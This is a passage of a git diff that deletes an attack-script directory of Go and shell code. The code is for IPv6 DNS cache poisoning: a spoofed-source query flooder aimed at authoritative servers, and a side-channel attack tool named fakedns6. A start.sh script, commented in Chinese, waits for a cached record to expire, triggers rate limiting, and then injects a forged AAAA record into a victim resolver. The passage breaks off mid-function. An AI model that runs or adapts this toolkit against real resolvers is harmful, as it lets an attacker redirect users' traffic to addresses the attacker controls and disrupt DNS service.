h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.4.0 h1:zxkM55ReGkDlKSM+Fu41A+zmbZuaPVbGMzvvdUPznYQ= -golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE= -golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.13.0 h1:Iey4qkscZuv0VvIt8E0neZjtPVQFSc870HQ448QgEmQ= -golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= -golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= diff --git "a/att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/ipv6util.go" "b/att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/ipv6util.go" deleted file mode 100644 index 09245d3..0000000 --- "a/att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/ipv6util.go" +++ /dev/null @@ -1,103 +0,0 @@ -package main - -import ( - "encoding/hex" - "fmt" - "net" - "os/exec" - "strings" - "syscall" - "unsafe" -) - -type router struct { - ifaces []net.Interface - addrs []net.IP - v6 routeSlice -} -type routeSlice []*rtInfo - -type rtInfo struct { - // Dst net.IPNet - Gateway, PrefSrc net.IP - OutputIface uint32 - Priority uint32 -} - -func getv6Gateway() (net.IP, error) { - rtr := &router{} - - tab, err := syscall.NetlinkRIB(syscall.RTM_GETROUTE, syscall.AF_INET6) - if err != nil { - return nil, err - } - - msgs, err := syscall.ParseNetlinkMessage(tab) - if err != nil { - return nil, err - } - - for _, m := range msgs { - switch m.Header.Type { - case syscall.NLMSG_DONE: - break - case syscall.RTM_NEWROUTE: - // rtmsg := (*syscall.RtMsg)(unsafe.Pointer(&m.Data[0])) - attrs, err := syscall.ParseNetlinkRouteAttr(&m) - if err != nil { - return nil, err - } - routeInfo := rtInfo{} - rtr.v6 = append(rtr.v6, &routeInfo) - for _, attr := range attrs { - switch attr.Attr.Type { - // case syscall.RTA_DST: - // routeInfo.Dst.IP = net.IP(attr.Value) - // routeInfo.Dst.Mask = net.CIDRMask(int(rtmsg.Dst_len), len(attr.Value)*8) - case syscall.RTA_GATEWAY: - routeInfo.Gateway = net.IP(attr.Value) - case syscall.RTA_OIF: - routeInfo.OutputIface = *(*uint32)(unsafe.Pointer(&attr.Value[0])) - case syscall.RTA_PRIORITY: - routeInfo.Priority = *(*uint32)(unsafe.Pointer(&attr.Value[0])) - case syscall.RTA_PREFSRC: - routeInfo.PrefSrc = net.IP(attr.Value) - } - } - } - } - ips := []net.IP{} - for _, rt := range rtr.v6 { - if rt.Gateway != nil { - ips = append(ips, rt.Gateway) - } - } - return ips[0], nil -} - -func getGatewayV6Mac(ifacename string, gwIP net.IP) (net.HardwareAddr, error) { - if debugOutput { - println("邻居发现--使用网卡接口为:" + ifacename) - } - out, err := exec.Command("ip", "-6", "neighbor", "show", "dev", ifacename).Output() - if err != nil { - println(err.Error()) - } else { - outlines := strings.Split(string(out), "/n") - for _, line := range outlines { - linelist := strings.Split(line, " ") - // 与网关对应的MAC地址 - if linelist[0] == gwIP.String() { - - maclist := strings.Split(linelist[2], ":") - var macbyte []byte - for _, m := range maclist { - b, _ := hex.DecodeString(m) - macbyte = append(macbyte, b[0]) - } - return net.HardwareAddr(macbyte), nil - } - } - } - return nil, fmt.Errorf("无法找到网关" + gwIP.String() + "对应的MAC地址") -} diff --git "a/att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/library.go" "b/att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/library.go" deleted file mode 100644 index edc4548..0000000 --- "a/att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/library.go" +++ /dev/null @@ -1,171 +0,0 @@ -package main - -import ( - "encoding/binary" - "errors" - "fmt" - "github.com/google/gopacket" - "github.com/google/gopacket/layers" - "github.com/google/gopacket/pcap" - "net" - "time" -) - -func GetIfaceAddrMulti(iface *net.Interface) ([]net.IP, error) { - addrs, err := iface.Addrs() - if err != nil { - return nil, errors.New("can not get ip address") - } - - var srcIP []net.IP - for _, address := range addrs { - if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { - if ipnet.IP.To16() != nil { - //check repeat - okToAdd := true - for _, temp := range srcIP { - if compareIPv6Addr(temp, ipnet.IP.To16()) == 0 { - okToAdd = false - break - } - } - if okToAdd { - srcIP = append(srcIP, ipnet.IP.To16()) - } - } - } - } - - if srcIP == nil || len(srcIP) == 0 { - return nil, errors.New("can not get ip address") - } - - return srcIP, nil -} - -func Send(handle *pcap.Handle, l ...gopacket.SerializableLayer) error { - opts := gopacket.SerializeOptions{ - FixLengths: true, - ComputeChecksums: true, - } - buffer := gopacket.NewSerializeBuffer() - if err := gopacket.SerializeLayers(buffer, opts, l...); err != nil { - return err - } - return handle.WritePacketData(buffer.Bytes()) -} - -func GetIfaceAddr(iface *net.Interface) (net.IP, error) { - addrs, err := iface.Addrs() - if err != nil { - return nil, errors.New("can not get ip address") - } - - var srcIP net.IP - for _, address := range addrs { - if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { - if ipnet.IP.To16() != nil { - srcIP = ipnet.IP.To16() - break - } - } - } - - if srcIP == nil { - return nil, errors.New("can not get ip address") - } - - return srcIP, nil -} - -func GetGatewayAddr(iface *net.Interface, handle *pcap.Handle, gatewayIP net.IP) (net.HardwareAddr, error) { - srcIP, err := GetIfaceAddr(iface) - if err != nil { - return nil, errors.New("can not get ip address") - } - - start := time.Now() - // Prepare the layers to send for an ARP request. - eth := layers.Ethernet{ - SrcMAC: iface.HardwareAddr, - DstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, - EthernetType: layers.EthernetTypeARP, - } - arp := layers.ARP{ - AddrType: layers.LinkTypeEthernet, - Protocol: layers.EthernetTypeIPv6, - HwAddressSize: 6, - ProtAddressSize: 4, - Operation: layers.ARPRequest, - SourceHwAddress: []byte(iface.HardwareAddr), - SourceProtAddress: []byte(srcIP), - DstHwAddress: []byte{0, 0, 0, 0, 0, 0}, - DstProtAddress: []byte(gatewayIP), - } - // Send a single ARP request packet (we never retry a send, since this - // is just an example ;) - if err := Send(handle, ð, &arp); err != nil { - return nil, err - } - // Wait 3 seconds for an ARP reply. - for { - if time.Since(start) > time.Second*3 { - return nil, errors.New("timeout getting ARP reply") - } - data, _, err := handle.ReadPacketData() - if err == pcap.NextErrorTimeoutExpired { - continue - } else if err != nil { - return nil, err - } - packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy) - if arpLayer := packet.Layer(layers.LayerTypeARP); arpLayer != nil { - arp := arpLayer.(*layers.ARP) - if net.IP(arp.SourceProtAddress).Equal(gatewayIP) { - return arp.SourceHwAddress, nil - } - } - } -} - -func compareIPv6Addr(ip0 net.IP, ip1 net.IP) int { - temp0 := binary.LittleEndian.Uint32(ip0.To16()) - temp1 := binary.LittleEndian.Uint32(ip1.To16()) - if temp0 == temp1 { - return 0 - } - if temp0 > temp1 { - return 1 - } - return -1 -} - -func xmitUDPv6(srcIP net.IP, dstIP net.IP, srcPort layers.UDPPort, dstPort layers.UDPPort, flowlabel uint32, timegap uint32) { - - ipLayer := layers.IPv6{ - FlowLabel: flowlabel, - SrcIP: srcIP, - DstIP: dstIP, - Version: 6, - HopLimit: 64, - NextHeader: layers.IPProtocolUDP, - } - udpLayer := layers.UDP{ - SrcPort: srcPort, - DstPort: dstPort, - } - - err := udpLayer.SetNetworkLayerForChecksum(&ipLayer) - if err != nil { - fmt.Println("xmitUDPv6 can not SetNetworkLayerForChecksum", err) - } - err = Send(handle, ethernetLayer, &ipLayer, &udpLayer) - if err != nil { - fmt.Println("xmitUDPv6 can not send packet", err) - } - - if timegap != 0 { - time.Sleep(time.Duration(timegap) * time.Microsecond) - } - -} diff --git "a/att script/5(v6\346\263\250\345\205\245)/code/src/flood/go.mod" "b/att script/5(v6\346\263\250\345\205\245)/code/src/flood/go.mod" deleted file mode 100644 index b55b38b..0000000 --- "a/att script/5(v6\346\263\250\345\205\245)/code/src/flood/go.mod" +++ /dev/null @@ -1,20 +0,0 @@ -module flood - -go 1.21 - -toolchain go1.21.4 - -require ( - github.com/google/gopacket v1.1.19 - github.com/jackpal/gateway v1.0.13 -) - -require ( - github.com/davecgh/go-spew v1.1.1 // indirect - github.com/pmezard/go-difflib v1.0.0 // indirect - github.com/stretchr/objx v0.5.0 // indirect - github.com/stretchr/testify v1.8.4 // indirect - golang.org/x/net v0.17.0 // indirect - golang.org/x/sys v0.13.0 // indirect - gopkg.in/yaml.v3 v3.0.1 // indirect -) diff --git "a/att script/5(v6\346\263\250\345\205\245)/code/src/flood/go.sum" "b/att script/5(v6\346\263\250\345\205\245)/code/src/flood/go.sum" deleted file mode 100644 index 1cca74c..0000000 --- "a/att script/5(v6\346\263\250\345\205\245)/code/src/flood/go.sum" +++ /dev/null @@ -1,38 +0,0 @@ -github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= -github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= -github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= -github.com/jackpal/gateway v1.0.13 h1:fJccMvawxx0k7S1q7Fy/SXFE0R3hMXkMuw8y9SofWAk= -github.com/jackpal/gateway v1.0.13/go.mod h1:6c8LjW+FVESFmwxaXySkt7fU98Yv806ADS3OY6Cvh2U= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= -github.com/stretchr/objx v0.5.0 h1:1zr/of2m5FGMsad5YfcqgdqdWrIhu+EBEJRhR1U7z/c= -github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= -github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= -github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= -github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= -golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= -golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= -golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= -golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= -golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE= -golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= -gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git "a/att script/5(v6\346\263\250\345\205\245)/code/src/flood/ipv6util.go" "b/att script/5(v6\346\263\250\345\205\245)/code/src/flood/ipv6util.go" deleted file mode 100644 index 09245d3..0000000 --- "a/att script/5(v6\346\263\250\345\205\245)/code/src/flood/ipv6util.go" +++ /dev/null @@ -1,103 +0,0 @@ -package main - -import ( - "encoding/hex" - "fmt" - "net" - "os/exec" - "strings" - "syscall" - "unsafe" -) - -type router struct { - ifaces []net.Interface - addrs []net.IP - v6 routeSlice -} -type routeSlice []*rtInfo - -type rtInfo struct { - // Dst net.IPNet - Gateway, PrefSrc net.IP - OutputIface uint32 - Priority uint32 -} - -func getv6Gateway() (net.IP, error) { - rtr := &router{} - - tab, err := syscall.NetlinkRIB(syscall.RTM_GETROUTE, syscall.AF_INET6) - if err != nil { - return nil, err - } - - msgs, err := syscall.ParseNetlinkMessage(tab) - if err != nil { - return nil, err - } - - for _, m := range msgs { - switch m.Header.Type { - case syscall.NLMSG_DONE: - break - case syscall.RTM_NEWROUTE: - // rtmsg := (*syscall.RtMsg)(unsafe.Pointer(&m.Data[0])) - attrs, err := syscall.ParseNetlinkRouteAttr(&m) - if err != nil { - return nil, err - } - routeInfo := rtInfo{} - rtr.v6 = append(rtr.v6, &routeInfo) - for _, attr := range attrs { - switch attr.Attr.Type { - // case syscall.RTA_DST: - // routeInfo.Dst.IP = net.IP(attr.Value) - // routeInfo.Dst.Mask = net.CIDRMask(int(rtmsg.Dst_len), len(attr.Value)*8) - case syscall.RTA_GATEWAY: - routeInfo.Gateway = net.IP(attr.Value) - case syscall.RTA_OIF: - routeInfo.OutputIface = *(*uint32)(unsafe.Pointer(&attr.Value[0])) - case syscall.RTA_PRIORITY: - routeInfo.Priority = *(*uint32)(unsafe.Pointer(&attr.Value[0])) - case syscall.RTA_PREFSRC: - routeInfo.PrefSrc = net.IP(attr.Value) - } - } - } - } - ips := []net.IP{} - for _, rt := range rtr.v6 { - if rt.Gateway != nil { - ips = append(ips, rt.Gateway) - } - } - return ips[0], nil -} - -func getGatewayV6Mac(ifacename string, gwIP net.IP) (net.HardwareAddr, error) { - if debugOutput { - println("邻居发现--使用网卡接口为:" + ifacename) - } - out, err := exec.Command("ip", "-6", "neighbor", "show", "dev", ifacename).Output() - if err != nil { - println(err.Error()) - } else { - outlines := strings.Split(string(out), "/n") - for _, line := range outlines { - linelist := strings.Split(line, " ") - // 与网关对应的MAC地址 - if linelist[0] == gwIP.String() { - - maclist := strings.Split(linelist[2], ":") - var macbyte []byte - for _, m := range maclist { - b, _ := hex.DecodeString(m) - macbyte = append(macbyte, b[0]) - } - return net.HardwareAddr(macbyte), nil - } - } - } - return nil, fmt.Errorf("无法找到网关" + gwIP.String() + "对应的MAC地址") -} diff --git "a/att script/5(v6\346\263\250\345\205\245)/code/src/flood/main.go" "b/att script/5(v6\346\263\250\345\205\245)/code/src/flood/main.go" deleted file mode 100644 index be0f1b4..0000000 --- "a/att script/5(v6\346\263\250\345\205\245)/code/src/flood/main.go" +++ /dev/null @@ -1,192 +0,0 @@ -package main - -import ( - "errors" - "flag" - "fmt" - "math/rand" - "net" - "os" - "strconv" - - "github.com/google/gopacket" - "github.com/google/gopacket/layers" - "github.com/google/gopacket/pcap" -) - -// 各层的定义 -var ethernetLayer *layers.Ethernet -var debugOutput = false -var handle *pcap.Handle -var repeatTime = 100 - -func main() { - // 读取参数配置 - ifaceNameArg := flag.String("i", "vmnet1", "用于发送查询包的网络端口") - sourceaddrArg := flag.String("saddr", "", "伪造报文的源地址") - targetaddrArg := flag.String("taddr", "", "目标权威的地址") - qnameArg := flag.String("q", "www.baidu.com.", "请求查询的域名") - debugOutputArg := flag.Bool("d", false, "debug模式输出") - flag.Parse() - - // 指针->值 - ifaceName := *ifaceNameArg - sourceaddr := *sourceaddrArg - targetaddr := *targetaddrArg - qname := *qnameArg - debugOutput = *debugOutputArg - defer os.Exit(0) - - handle, _ = pcap.OpenLive( - ifaceName, - 65536, - true, - pcap.BlockForever, - ) - - // 构造MAC层 - var srcmac net.HardwareAddr - var dstmac net.HardwareAddr - if ifaceName == "" { - ifaceName = "eth0" - } - - // 源MAC - loiface, err := net.InterfaceByName(ifaceName) - if err != nil { - fmt.Println(err.Error()) - } - srcmac = loiface.HardwareAddr - if debugOutput { - fmt.Println("源MAC地址为: " + srcmac.String()) - } - - // 目的MAC - // 获取网关地址 - gwIP, _ := getv6Gateway() - fmt.Println("网关IPv6地址为:" + gwIP.String()) - dstmac, err = GetGatewayIPv6Addr(loiface, gwIP) - if err != nil { - fmt.Println(err.Error()) - } - if debugOutput { - fmt.Println("目的MAC地址为: " + dstmac.String()) - } - - // mac层包 - ethernetLayer = &layers.Ethernet{ - SrcMAC: srcmac, - DstMAC: dstmac, - EthernetType: layers.EthernetTypeIPv6, - } - - // dns查询 - for i := 0; i < repeatTime; i++ { - go sendDNSRequest(uint16(rand.Uint32()), qname, net.ParseIP(sourceaddr), net.ParseIP(targetaddr)) - } - if debugOutput { - fmt.Println("已连续发送" + strconv.Itoa(repeatTime) + "个请求包到" + targetaddr) - } -} - -func Send(handle *pcap.Handle, l ...gopacket.SerializableLayer) error { - opts := gopacket.SerializeOptions{ - FixLengths: true, - ComputeChecksums: true, - } - buffer := gopacket.NewSerializeBuffer() - if err := gopacket.SerializeLayers(buffer, opts, l...); err != nil { - return err - } - err := handle.WritePacketData(buffer.Bytes()) - if err != nil { - println(err.Error()) - } - return nil -} - -func GetIfaceAddr(iface *net.Interface) (net.IP, error) { - addrs, err := iface.Addrs() - if err != nil { - return nil, errors.New("can not get ip address") - } - - var srcIP net.IP - for _, address := range addrs { - if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { - if ipnet.IP.To16() != nil { - srcIP = ipnet.IP.To16() - break - } - } - } - - if srcIP == nil { - return nil, errors.New("can not get ip address") - } - - return srcIP, nil -} - -func GetGatewayIPv6Addr(iface *net.Interface, gatewayIP net.IP) (net.HardwareAddr, error) { - gwMAC, err := getGatewayV6Mac(iface.Name, gatewayIP) - if err != nil { - fmt.Println(err.Error()) - panic("") - } - return gwMAC, nil -} - -func sendDNSRequest(id uint16, name string, resolverIP net.IP, authIP net.IP) { - if debugOutput { - fmt.Println("Send new DNS request", name, id, resolverIP.String(), authIP.String()) - } - _sendDNSRequest(id, name, resolverIP, authIP, (layers.UDPPort)(rand.Uint32()), 53) -} - -func _sendDNSRequest(id uint16, name string, src net.IP, dst net.IP, sport layers.UDPPort, dport layers.UDPPort) { - ipLayer := layers.IPv6{ - FlowLabel: 1, - SrcIP: src, - DstIP: dst, - Version: 6, - HopLimit: 64, - NextHeader: layers.IPProtocolUDP, - //Flags: layers.IPv4DontFragment, - } - udpLayer := layers.UDP{ - SrcPort: sport, - DstPort: dport, - } - dnsLayer := layers.DNS{ - ID: id, - QR: false, - OpCode: 0, - AA: false, - TC: false, - RD: true, - RA: false, - Z: 0, - ResponseCode: 0, - QDCount: 1, - ANCount: 0, - NSCount: 0, - ARCount: 0, - Questions: []layers.DNSQuestion{{ - Name: []byte(name), - Type: layers.DNSTypeAAAA, - Class: layers.DNSClassIN, - }}, - Authorities: nil, - Additionals: nil, - } - - err := udpLayer.SetNetworkLayerForChecksum(&ipLayer) - if err != nil { - fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go pos 0 error", err) - } - err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) - if err != nil { - fmt.Println("can not send packet @ sendDNSRequest: ", err) - } -} diff --git "a/att script/5(v6\346\263\250\345\205\245)/code/start.sh" "b/att script/5(v6\346\263\250\345\205\245)/code/start.sh" deleted file mode 100644 index 03b7812..0000000 --- "a/att script/5(v6\346\263\250\345\205\245)/code/start.sh" +++ /dev/null @@ -1,38 +0,0 @@ -# 目前仅考虑篡改或注入AAAA记录 -# $1 for victim resolver IP, $2 想要篡改的IPv6地址结果, $3 for iface name, $4 for victim domain name, $5 for victim domain nameserver IP -# Please run with sudo. - -# Verify the existing record domain, just for proof purposes. -echo '获取原记录中:' -dig @$1 $4 AAAA -sleeptime=0 -sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'` - -echo "等待缓存过期,$sleeptime 秒之后开始攻击..." -sleep $sleeptime - -echo "开始攻击" -echo "攻击参数:" -echo "目标域名权威服务地址:$5" -echo "目标解析服务地址:$1" -echo "目标域名:$4" - -# 伪造目标服务IPv6地址向权威服务器发送大量查询 [权威][目标IP][目标域名][网络接口] -bash ./dns_query.sh $5 $1 $4 $3 - -# 开始攻击 -# Change the argument accordingly -echo "执行侧信道攻击脚本中" -./fakedns6 -a=$5 -b=$1 -i=$3 -n=$4 -r=$1 -t 50000 -ad=$2 -tg 0 -s 10000 -e 65000 -j 0 -d=true - - - # Validations -echo "攻击结束" -dig @$1 $4 AAAA - -sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'` -echo '如果结果未改变, 需要等待原缓存过期. 或者按 Ctrl-C取消攻击.' - -echo '等待两秒...' -sleep 2 -dig @$1 $4 AAAA diff --git "a/att script/5(v6\346\263\250\345\205\245)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" "b/att script/5(v6\346\263\250\345\205\245)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" deleted file mode 100644 index 74605e2..0000000 Binary files "a/att script/5(v6\346\263\250\345\205\245)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" and /dev/null differ diff --git "a/att script/6(v6\347\257\241\346\224\271)/code/attack.sh" "b/att script/6(v6\347\257\241\346\224\271)/code/attack.sh" deleted file mode 100644 index d67ca19..0000000 --- "a/att script/6(v6\347\257\241\346\224\271)/code/attack.sh" +++ /dev/null @@ -1,3 +0,0 @@ -chmod 777 ./start.sh -chmod 777 ./dns_query.sh -./start.sh $1 $2 $3 $4 $5 \ No newline at end of file diff --git "a/att script/6(v6\347\257\241\346\224\271)/code/dns_OPT.bin" "b/att script/6(v6\347\257\241\346\224\271)/code/dns_OPT.bin" deleted file mode 100644 index e0dcbc1..0000000 Binary files "a/att script/6(v6\347\257\241\346\224\271)/code/dns_OPT.bin" and /dev/null differ diff --git "a/att script/6(v6\347\257\241\346\224\271)/code/dns_end.bin" "b/att script/6(v6\347\257\241\346\224\271)/code/dns_end.bin" deleted file mode 100644 index 8aa4774..0000000 Binary files "a/att script/6(v6\347\257\241\346\224\271)/code/dns_end.bin" and /dev/null differ diff --git "a/att script/6(v6\347\257\241\346\224\271)/code/dns_query.sh" "b/att script/6(v6\347\257\241\346\224\271)/code/dns_query.sh" deleted file mode 100644 index dbc0266..0000000 --- "a/att script/6(v6\347\257\241\346\224\271)/code/dns_query.sh" +++ /dev/null @@ -1,8 +0,0 @@ -# usage ./dns_query.sh [NS IP] [Resolver IP(spoofed as source IP)] domain... (e.g. www google com) -# write the domain name into the binary -echo "初始化工具环境" -# change the sending speed if necessary (-i). Set it to "flood" (replace -i with --flood) to maximize the power. -# fire! -go version -echo "尝试触发权威服务器请求速率限制" -./flood -i $4 -saddr $2 -taddr $1 -q $3 diff --git "a/att script/6(v6\347\257\241\346\224\271)/code/dns_start.bin" "b/att script/6(v6\347\257\241\346\224\271)/code/dns_start.bin" deleted file mode 100644 index e6e4242..0000000 Binary files "a/att script/6(v6\347\257\241\346\224\271)/code/dns_start.bin" and /dev/null differ diff --git "a/att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/attack.go" "b/att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/attack.go" deleted file mode 100644 index 6cc6f87..0000000 --- "a/att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/attack.go" +++ /dev/null @@ -1,685 +0,0 @@ -package main - -import ( - "flag" - "fmt" - "github.com/google/gopacket" - "log" - "math/rand" - "net" - "os" - "strconv" - "sync" - "time" - - "github.com/google/gopacket/layers" - "github.com/google/gopacket/pcap" - "github.com/google/gopacket/routing" -) - -var handle *pcap.Handle -var ethernetLayer *layers.Ethernet -var victimDNSName string -var dnsQueryName string -var authIP net.IP -var resolverIP net.IP -var localIP []net.IP -var defaultJitter uint -var gotReply = false -var attackerControlledDomain string -var attackForwarder bool -var repeatTimes int -var timeGap uint -var attTargetAddr string -var soaName string - -var jitter uint = 10 -var rtt uint = 1 // in ms -var debugOutput = true - -const GROUP_SIZE = 50 - -/* I'm not sure what's this used for. Probably used with older version where multiple IPs is not supported. */ -//var sendingChannel chan *outgoingPacket -var backendResolvers = make([]*backendResolver, 0) -var bruteForceShouldBeKilled = false - -type backendResolver = struct { - resolverBackendIP net.IP - - // [端口组ID][端口] - groups [][]uint16 // = make([][]uint16, 65536) - groupIDCounter uint32 // = 3 - groupIDCounterLock *sync.Mutex - groupSendTime []time.Time // = make([]time.Time, 65536) - - probeChannel chan uint32 //= make(chan uint16, 655) - priorityProbeChannel chan uint32 //= make(chan uint16, 655) - alwaysOpenPorts []bool //= make([]bool, 65536) - - perIPLimitCounter []int //= 6 - - networkXmitLock *sync.Mutex -} - -// timeout in ms, 持续触发查询请求 -func dnsRequestSender(timeout uint) { - for { - gotReply = false - sendDNSRequest(uint16(rand.Uint32()), dnsQueryName) - retryTimes := timeout / 500 - for { - if !gotReply { - time.Sleep(500 * time.Millisecond) - retryTimes-- - if retryTimes == 0 { - break - } - } else { - if debugOutput { - fmt.Println("接收到响应 ", timeout-retryTimes*500, "ms") - } else { - fmt.Println("Rx") - } - break - } - } - if !attackForwarder { - //dnsQueryName = strconv.Itoa(rand.Int()) + "." + victimDNSName - dnsQueryName = victimDNSName - } else { - /* I'm not sure if we should change the nonce. */ - dnsQueryName = strconv.Itoa(rand.Int()) + "." + attackerControlledDomain - } - } -} - -func receivingThread() { - for { - data, captureInfo, err := handle.ReadPacketData() - if err == pcap.NextErrorTimeoutExpired { - continue - } else if err != nil { - log.Printf("error reading packet: %v", err) - continue - } - - // Parse the packet. We'd use DecodingLayerParser here if we - // wanted to be really fast. - packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy) - - // Find the packets we care about, and print out logging - // information about them. All others are ignored. - if rspNet := packet.NetworkLayer(); rspNet == nil { - continue - } else if rspIPLayer := packet.Layer(layers.LayerTypeIPv6); rspIPLayer == nil { - continue - //} else if rspIP := rspIPLayer.(*layers.IPv4); rspIP == nil { - } else if rspIP := rspIPLayer.(*layers.IPv6); rspIP == nil { - continue - } else if rspIP.NextHeader != layers.IPProtocolICMPv6 { - if 